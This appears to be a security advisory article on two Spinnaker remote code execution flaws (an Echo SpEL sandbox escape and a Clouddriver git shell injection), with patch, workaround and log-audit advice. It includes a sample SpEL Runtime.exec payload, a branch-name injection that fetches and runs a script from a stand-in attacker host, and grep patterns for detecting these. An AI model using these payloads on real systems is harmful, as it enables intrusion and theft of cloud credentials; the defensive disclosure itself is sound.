ZeroPath disclosed two CVSS 10.0 remote code execution vulnerabilities in Spinnaker on April 21, 2026, and both ship with working proof-of-concept exploits on GitHub. If you run Spinnaker — the multi-cloud continuous delivery platform originally open-sourced by Netflix — patch tonight. Any authenticated user, no elevated roles required, can pop the CD plane and walk out with every stored cloud provider credential.

What broke

CVE-2026-32613 — Echo SpEL sandbox escape. Echo is the pipeline trigger service. When it evaluates expected-artifact declarations on webhook triggers, it parses Spring Expression Language strings using a vanilla StandardEvaluationContext — no SimpleEvaluationContext, no allowlist, no sandboxing. That is the Java equivalent of eval() on user input. A payload like ${T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwned')} stuffed into an artifact’s name field gives an attacker with pipeline-write access full JVM code execution on the Echo host. What makes this especially embarrassing is that Spinnaker’s Orca service evaluates SpEL in a hardened context with a class allowlist — the Echo path was simply missed.

CVE-2026-32604 — Clouddriver gitrepo shell injection. Clouddriver is the service that holds every provider credential Spinnaker uses: AWS keys, GCP service accounts, Kubernetes kubeconfigs, Azure service principals. Its artifact fetch endpoint, when given a gitrepo artifact with HTTP auth, shells out to git clone through sh -c and interpolates the user-controlled branch and paths fields directly into the command string. No escaping, no parameterization. A branch name of $(curl attacker.com/x.sh|sh) gets executed by the shell before git ever sees it. Post-exploit, the attacker reads the entire credential store and pivots into production.

Both bugs are rated CVSS 10.0 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). “Low privileges required” here means any authenticated account — Spinnaker deployments commonly federate against corporate SSO and grant read/write pipeline permissions broadly, because that is what the tool is for.

Who’s affected

Every Spinnaker installation running anything prior to 2026.1.0, 2026.0.1, 2025.4.2, or 2025.3.2 is vulnerable to both CVEs. That is a large blast radius: Spinnaker is the deployment substrate at Netflix, Airbnb, Salesforce, Cisco, Pinterest, Snap, and a long tail of companies that adopted it in the 2017-2022 window when it was the most serious open-source CD option. The vulnerable code paths have been present for years.

The twist is who the “authenticated attacker” realistically is. Spinnaker almost always sits behind corporate auth with a large internal user population — developers, SREs, sometimes contractors. The threat model the patches close is insider abuse and, more urgently, any compromised-laptop scenario where an attacker lands a foothold on a developer’s machine and already has valid Spinnaker cookies. From there: one POST, credential store dumped, production-cloud root in the blast radius.

How bad, concretely

Clouddriver is where credentials live. Treat RCE on Clouddriver as equivalent to a credential dump of every cloud account Spinnaker deploys into. For an org using Spinnaker as its single deployment path to prod, that is the keys to the kingdom — AWS STS, GKE cluster admin, Vault tokens, whatever the pipelines need to push images and apply manifests.

Echo RCE is marginally less dire only because Echo does not hold credentials directly, but it can trigger pipelines, and a malicious Echo can forge pipeline executions with arbitrary payloads. Combining the two gives an attacker the ability to both exfiltrate credentials and ship backdoored artifacts through the normal deployment path — the supply-chain nightmare scenario for any shop running Spinnaker.

Mitigation, in order of urgency

Upgrade. The patched versions are 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2. Halyard users should bump version in their deployment config and run hal deploy apply; operator-managed installs should bump the CR. This is not a phased rollout; a working PoC is public.

If you cannot upgrade in the next 24 hours, apply both workarounds:

  • For CVE-2026-32604: disable the gitrepo artifact type in Clouddriver’s clouddriver.yml (artifacts.gitrepo.enabled: false). You will lose the ability to use gitrepo artifacts, but stale pipelines relying on them will fail closed rather than execute code.
  • For CVE-2026-32613: Echo is harder to mitigate without breaking webhook triggers entirely. If your pipelines don’t use webhook-driven artifact expectations, disabling webhook triggers via echo.yml is the cleanest short-term fix. Otherwise, upgrade.

Audit for exploitation. If you have request logs for Echo or Clouddriver, grep for T(java.lang.Runtime), Runtime.getRuntime, $(, backticks, or sh -c patterns in artifact-related request bodies. Look at shell history and new files under /tmp on both hosts. Rotate every credential in Clouddriver if you cannot positively rule out exploitation — the window since the code was vulnerable is long, and the PoC is now public.

Why this keeps happening

SpEL is the Java ecosystem’s perennial footgun; unrestricted StandardEvaluationContext on any attacker-influenced string is a near-guaranteed RCE, and yet it keeps shipping. And string-interpolated sh -c in 2026, in a tool whose entire purpose is to hold production cloud credentials, is the kind of bug that should be caught by the most basic static analysis. Worth pointing out: ZeroPath’s disclosure notes that other SpEL evaluation points in Spinnaker do use hardened contexts — the vulnerable one was an oversight, not a design choice. That makes a strong case for codifying the hardened context in a shared helper and rejecting raw StandardEvaluationContext at the linter level.